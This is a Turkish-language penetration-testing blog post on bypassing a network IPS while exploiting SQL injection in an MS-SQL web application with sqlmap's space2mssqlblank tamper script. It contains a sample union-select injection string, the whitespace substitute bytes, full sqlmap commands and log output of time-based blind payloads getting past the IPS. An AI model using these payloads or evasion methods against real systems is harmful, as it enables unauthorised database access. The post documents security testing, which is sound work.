Sqlmap Tamper Script Kullanarak SQL Injection İstismarında IPS Atlatma

———
Bu yazı Türkiye’de en fazla tercih edilen Ağ Tabanlı Atak Engelleme Sisteminin koruduğu bir web uygulamasına karşı gerçekleştirilen atlatma senaryosunu içermektedir.  Ürün tüm imzaları aktif ve güncel kural veritabanına sahip durumdayken denenmiştir. Ürün ismi ve versiyonu ile ilgili bilgi almak isteyenler bilgi@bga.com.tr adresine e-posta gönderebilir.
—–
Veritabanı olarak olarak MS-SQL server kullanan ve önünde WAF/IPS cihazı
bulunan bir web uygulamasındaki sql injection açıklığı,  sqlmap
tamper script kullanılarak ve güvenlik cihazları atlatılarak istismar
edilebilir.

Bir çok WAF/IPS güvenlik cihazının çalışma
mantığında belirli kelime öbeklerini girdide bulmak için boşluk
karakteri referans alınır. Örneğin union ve select kelimelerini sevmeyen
bir IPS cihazı bu kelimeleri girdide ararken bu kelimelerin başında ve
sonunda boşluk karakteri arar veya boşluk karakterlerinin önünü ve
sonunu okur bu kelimeler ile eşleşme olursa ilgili imza gereğini
gerçekleştirir.

Bu mantık ile çalışan bir IPS cihazı kullanıcıdan aldığı aşağıdaki gibi bir girdiyi bloklar;
admin’;union select null,null,ad from users–

Fakat boşluk karakteri yerine rastgele bir ifade(AA) yazarsak aşağıdaki gibi bu sql sorgusu IPS cihazına takılmayacaktır;
admin;’unionAAselectAAnull,null,adAAfromAAusers–

Not:AA
test amaçlı verilmiştir backend dbms üzerinde çalışacak bir ifade
degildir. AA yerine backend dbms uygulamasında boşluk için alternatif
olacak bir değer girilmelidir.

Şimdi bu durumu
veritabanı olarak Mssql server kullanan ve önünde IPS cihazı bulunan bir
web uygulamasındaki sql injection açıklığını istismar etmede nasıl
kullanılabileceğine değinelim.

Mssql üzerinde boşluk
karakterine alternatif olabilecek  ifadeleri bir diziye atarak her
seferinde bu diziden random bir değeri boşluk ifadelerinin olduğu
yerlere yerleştiren ve sorguyu bu şekilde hedefe gönderen
space2mssqlblank.py sqlmap tamper scriptini kullanacağız.

Mssql üzerinde boşluk karakterine alternatif olan diğer değerler aşağıdaki gibidir;
%01, %02, %03, %04, %05, %06, %07, %08, %09, %0A, %0B, %0C, %0D, %0E, %0F

Bu
değerler bir dizi içerisinde tutulup her sql sorgusu içerisindeki
boşluk değerlerine rastgele olarak atanıp sorgular backend dbms
sistemine gönderilir. Bu şekilde aradaki güvenlik cihazları kolaylıkla
bypass edilebilmektedir.

IPS sistemi ile korunan bir web
uygulamasındaki sql injection açıklığını sqlmap ile istismar ederken
ilgili script kullanılmadığındaki durum aşağıdaki gibidir;

root@bt:/pentest/database/sqlmap#
./sqlmap.py -r bb.txt –dbs –current-user –current-db –keep-alive
–dbms “mssql” –technique T -v 3



[22:46:16] [INFO] POST parameter ‘username’ is ‘Microsoft SQL Server/Sybase time-based blind’ injectable
[22:46:16] [INFO] checking if the injection point on POST parameter ‘username’ is a false positive
[22:46:16] [PAYLOAD] admin) IF((19+18)=37) WAITFOR DELAY ‘0:0:5’–
[22:46:46] [PAYLOAD] admin) IF(19=18) WAITFOR DELAY ‘0:0:5’–
[22:47:18] [PAYLOAD] admin) IF(18>(66+19)) WAITFOR DELAY ‘0:0:5’–
[22:47:48] [WARNING] false positive or unexploitable injection point detected
[22:47:48] [WARNING] POST parameter ‘username’ is not injectable



Yukarıdaki
gibi boşluk karakterleri olduğu gibi gönderilen sorgular IPS  tarafından
geçirilmediğinden dolayı sqlmap açıklığı doğrulayamamış yada istismar
edilemeyecek bir açıklık olarak değerlendirmiştir.

Şimdi
ise boşluk karakterleri yerine MS Sql serverdaki alternatif değerlerini
rastgele kullanan tamper scripti sqlmap aracına verip sonucu görelim;

root@bt:/pentest/database/sqlmap#
./sqlmap.py -r bb.txt –dbs –current-user –current-db –keep-alive
–dbms “mssql” –technique T –tamper “space2mssqlblank.py” -v 3
–flush-session



[22:58:00] [INFO] POST parameter ‘username’ is ‘Microsoft SQL Server/Sybase time-based blind’ injectable
[22:58:00] [INFO] checking if the injection point on POST parameter ‘username’ is a false positive
[22:58:00] [PAYLOAD] admin’%0FIF((62+76)=138)%0AWAITFOR%05DELAY%0B’0:0:5′–
[22:58:05] [PAYLOAD] admin’%0AIF(62=76)%08WAITFOR%03DELAY%04’0:0:5′–
[22:58:06] [PAYLOAD] admin’%0EIF(62>(63+76))%04WAITFOR%04DELAY%02’0:0:5′–
[22:58:06] [PAYLOAD] admin’%0EIF((63+62)>201)%06WAITFOR%0DDELAY%0C’0:0:5′–
[22:58:07] [PAYLOAD] admin’%0AIF(138=(62+76))%0EWAITFOR%03DELAY%05’0:0:5′–
POST parameter ‘username’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Yukarıdaki
gibi hedefe gönderilen payloadlarda, boşluk karakterinin Mssql
serverdaki alternatif değerleri random olarak verilerek IPS cihazı
atlatılmıştır. Bir çok WAF/IPS imzaları bu mantıkla çalıştığı için
belirtilen yöntemle kolaylıkla bypass edilebilirler.
  
F. Celal Erdik <celal.erdik@bga.com.tr>